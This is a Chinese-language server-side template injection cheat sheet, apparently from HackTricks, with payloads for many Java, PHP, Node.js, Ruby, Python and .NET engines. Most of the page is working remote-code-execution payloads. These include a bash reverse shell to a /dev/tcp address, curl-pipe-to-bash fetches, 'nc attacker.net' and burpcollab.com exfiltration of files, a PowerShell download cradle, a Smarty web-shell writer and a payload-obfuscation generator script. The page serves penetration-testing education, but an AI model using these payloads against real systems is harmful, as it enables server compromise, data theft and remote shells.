${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf要求这些表达式放置在特定属性中。然而,对于其他模板位置,支持_expression inlining_,使用类似[[...]]或[(...)]的语法。因此,一个简单的SSTI测试有效载荷可能看起来像[[${7*7}]]。

然而,这个有效载荷能够成功的可能性通常较低。Thymeleaf的默认配置不支持动态模板生成;模板必须是预定义的。开发人员需要实现自己的TemplateResolver来从字符串中动态创建模板,这是不常见的。

Thymeleaf还提供_expression preprocessing_,其中双下划线(__...__)内的表达式会被预处理。这个特性可以在表达式的构建中使用,正如Thymeleaf的文档中所示:

#{selection.__${sel.code}__}

Thymeleaf漏洞示例

考虑以下代码片段,可能容易受到利用:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

这表明,如果模板引擎未正确处理这些输入,可能会导致远程代码执行,访问类似以下的URL:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

更多信息

Spring Framework (Java)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

绕过过滤器

如果${...}无效,请尝试使用#{...}、*{...}、@{...}或~{...}来使用多个变量表达式。

  • 读取/etc/passwd

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • 用于生成 payload 的自定义脚本

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

更多信息

Spring视图操作(Java)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble的旧版本(<版本3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

新版本的Pebble:

{% set cmd = 'id' %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

Jinjava (Java)

Jinjava是一个用于Java的模板引擎,允许开发人员在应用程序中使用模板。它支持在模板中执行代码,这可能导致服务器端模板注入漏洞。攻击者可以利用这种漏洞执行恶意代码,访问敏感数据,甚至完全控制服务器。在进行渗透测试时,应特别注意检查应用程序中是否存在SSTI漏洞,以确保服务器的安全性。

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava - 命令执行

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

更多信息

Hubspot - HuBL (Java)

  • {% %} 语句定界符

  • {{ }} 表达式定界符

  • {# #} 注释定界符

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

更多信息

表达式语言 - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

表达式语言(EL)是一项基本功能,有助于在JavaEE中的表示层(如网页)和应用逻辑(如托管bean)之间进行交互。它在多个JavaEE技术中被广泛使用,以简化这种通信。利用EL的关键JavaEE技术包括:

  • JavaServer Faces (JSF):使用EL将JSF页面中的组件绑定到相应的后端数据和操作。

  • JavaServer Pages (JSP):EL用于在JSP中访问和操作数据,使页面元素与应用数据连接更容易。

  • Contexts and Dependency Injection for Java EE (CDI):EL与CDI集成,允许Web层和托管bean之间无缝交互,确保更一致的应用程序结构。

查看以下页面以了解有关EL解释器利用的更多信息:

Groovy (Java)

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

更多信息

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - 模板格式

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

更多信息

Plates(PHP)

Plates是一种原生于PHP的模板引擎,灵感来自Twig。然而,与Twig不同的是,Plates在模板中利用原生PHP代码,使其对PHP开发人员更直观。

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

页面模板:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

布局模板:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

更多信息

PHPlib 和 HTML_Template_PHPLIB (PHP)

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

Server-Side Template Injection (SSTI)

Description

In this scenario, the application is vulnerable to Server-Side Template Injection (SSTI). SSTI occurs when an application allows user input to be evaluated as a template on the server-side. This can lead to arbitrary code execution and a potential compromise of the server.

Steps to Reproduce

  1. Access the authors.php page.

  2. Input the payload {{7*7}} in the search field.

  3. Observe that the page displays the result of the calculation 49.

Impact

By exploiting SSTI, an attacker can execute arbitrary code on the server, potentially leading to data exfiltration, server compromise, or other malicious activities.

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

更多信息

Jade (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

更多信息

patTemplate (PHP)

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

更多信息

Handlebars (NodeJS)

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = 错误

  • ${7*7} = ${7*7}

  • 无

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

更多信息

JsRender (NodeJS)

模板

描述

评估和呈现输出

评估和呈现HTML编码的输出

注释

和

允许代码(默认情况下禁用)

  • = 49

客户端

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

服务器端

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

更多信息

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

示例服务器端渲染

var pugjs = require('pug');
home = pugjs.render(injected_page)

更多信息

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = 无输出

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = 错误

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

更多信息

ERB (Ruby)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

更多信息

Slim (Ruby)

  • { 7 * 7 }

{ %x|env| }

更多信息

Python

查看以下页面,了解有关在Python中绕过沙盒进行任意命令执行的技巧:

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}







{{os.system('whoami')}}
{{os.system('whoami')}}

更多信息

Jinja2 (Python)

Jinja2是Python的一个功能齐全的模板引擎。它具有完整的Unicode支持,可选的集成沙盒执行环境,被广泛使用并且采用BSD许可证。

  • {{7*7}} = Error

  • ${7*7} = ${7*7}

  • {{foobar}} 无

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

  • {{settings}}

  • <div data-gb-custom-block data-tag="debug"></div>

{% debug %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - 模板格式

{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

关于如何滥用Jinja的更多细节:

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

更多信息

Razor (.Net)

  • @(2+2) <= 成功

  • @() <= 成功

  • @("{{code}}") <= 成功

  • @ <= 成功

  • @{} <= 错误!

  • @{ <= 错误!

  • @(1+2)

  • @( //C#Code )

  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");

  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

更多信息

ASP

  • <%= 7*7 %> = 49

  • <%= "foo" %> = foo

  • <%= foo %> = 无

  • <%= response.write(date()) %> = <Date>

<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

更多信息

Mojolicious (Perl)

即使是 Perl,它也使用类似 Ruby 中的 ERB 标记。

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

<%= perl code %>
<% perl code %>

GO 中的 SSTI

在 Go 的模板引擎中,可以使用特定的有效载荷来确认其使用方式:

  • {{ . }}: 显示数据结构输入。例如,如果传递了一个带有 Password 属性的对象,{{ .Password }} 可能会暴露它。

  • {{printf "%s" "ssti" }}: 预期显示字符串 "ssti"。

XSS 利用

使用 text/template 包,可以通过直接插入有效载荷来简单地进行 XSS 攻击。相反,html/template 包对响应进行编码以防止此类攻击(例如,{{"<script>alert(1)</script>"}} 的结果是 &lt;script&gt;alert(1)&lt;/script&gt;)。然而,在 Go 中,模板定义和调用可以绕过此编码:{{define "T1"}}alert(1){{end}} {{template "T1"}}

vbnet 复制代码

RCE 利用

对于 Go 中的 SSTI,可以调用对象方法来实现 RCE。例如,如果提供的对象具有执行命令的 System 方法,可以像这样利用它:{{ .System "ls" }}。通常需要访问源代码才能利用此功能,就像给定的示例中所示:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

更多信息

更多利用

BlackHat PDF

相关帮助

如果您认为有用,请阅读:

工具

暴力检测列表

练习和参考

是西班牙最重要的网络安全活动之一,也是欧洲最重要的活动之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。

您可以在 尝试您的有效负载

请查看中的FreeMarker部分。

在Velocity部分

Jinjava是由Hubspot开发的开源项目,可在找到。

已修复,修复详情请见

搜索"com.hubspot.content.hubl.context.TemplateContextRequest"并发现了。

以下安全管理器绕过方法取自于这篇。

​​ 是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流会。

在的Smarty部分

在部分

与 PHPlib 相同,但移植到了 Pear。

在部分

是一个非编译的 PHP 模板引擎,使用 XML 标记将文档分成不同部分。

路径遍历(更多信息请参考)。

__builtins__ 的 RCE:

其他有效载荷请参考

.NET的System.Diagnostics.Process.Start方法可用于在服务器上启动任何进程,从而创建Webshell。您可以在找到一个易受攻击的Web应用示例。

{{html "ssti"}}, {{js "ssti"}}: 这些有效载荷应返回 "ssti" 而不附加 "html" 或 "js"。更多指令可以在 Go 文档中探索 。

html/template 和 text/template 之间的 RCE 利用方式有很大不同。text/template 模块允许直接调用任何公共函数(使用“call”值),而在 html/template 中不允许这样做。这些模块的文档可在 和 。

查看 获取更多利用。您还可以在 中找到有趣的标签信息。

​​​ 是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点聚会。

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🕸️
RootedCON
TInjA
SSTImap
Tplmap
模板注入表
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt
https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt
https://try.freemarker.apache.org
https://portswigger.net/research/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker
https://portswigger.net/research/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity
https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/
EL - Expression Language
Thymleaf SSTI
Payloads all the things
https://github.com/veracode-research/spring-view-manipulation
EL - Expression Language
https://github.com/HubSpot/jinjava/
https://github.com/HubSpot/jinjava/pull/230
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava
Github上的Jinjava项目
https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html
EL - Expression Language
文章
RootedCON
https://portswigger.net/research/server-side-template-injection
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty
Twig和Twig(沙盒)
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates
HTML_Template_PHPLIB
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html_template_phplib
Jade
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen
patTemplate
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate
此处
http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html
https://appcheck-ng.com/template-injection-jsrender-jsviews/
https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/
http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby
Bypass Python sandboxes
https://ajinabraham.com/blog/server-side-template-injection-in-tornado
官方网站
不依赖
Jinja2 SSTI
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako
https://github.com/cnotin/RazorVulnerableApp
https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/
https://www.schtech.co.uk/razor-pages-ssti-rce/
https://www.w3schools.com/asp/asp_examples.asp
这里
这里查看 html/template
这里查看 text/template
https://blog.takemyhand.xyz/2020/05/ssti-breaking-gos-template-engine-to.html
https://www.onsecurity.io/blog/go-ssti-method-research/
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
Flask技巧
Python魔术函数
https://github.com/Hackmanit/TInjA
https://github.com/vladko312/sstimap
https://github.com/epinna/tplmap
https://github.com/Hackmanit/template-injection-table
https://portswigger.net/web-security/server-side-template-injection/exploiting
https://github.com/DiogoMRSilva/websitesVulnerableToSSTI
https://portswigger.net/web-security/server-side-template-injection
RootedCON
htARTE (HackTricks AWS Red Team Expert)
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PEASS家族
NFTs
Discord群
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@carlospolopm
HackTricks
HackTricks Cloud
htARTE(HackTricks AWS红队专家)
订阅计划
官方PEASS & HackTricks周边产品
PEASS家族
NFTs
Discord群组
电报群组
@carlospolopm
HackTricks
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Auto_Wordlists/ssti.txt at main · carlospolop/Auto_WordlistsGitHub
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en-server-side-template-injection-rce-for-the-modern-web-app-blackhat-15.pdf
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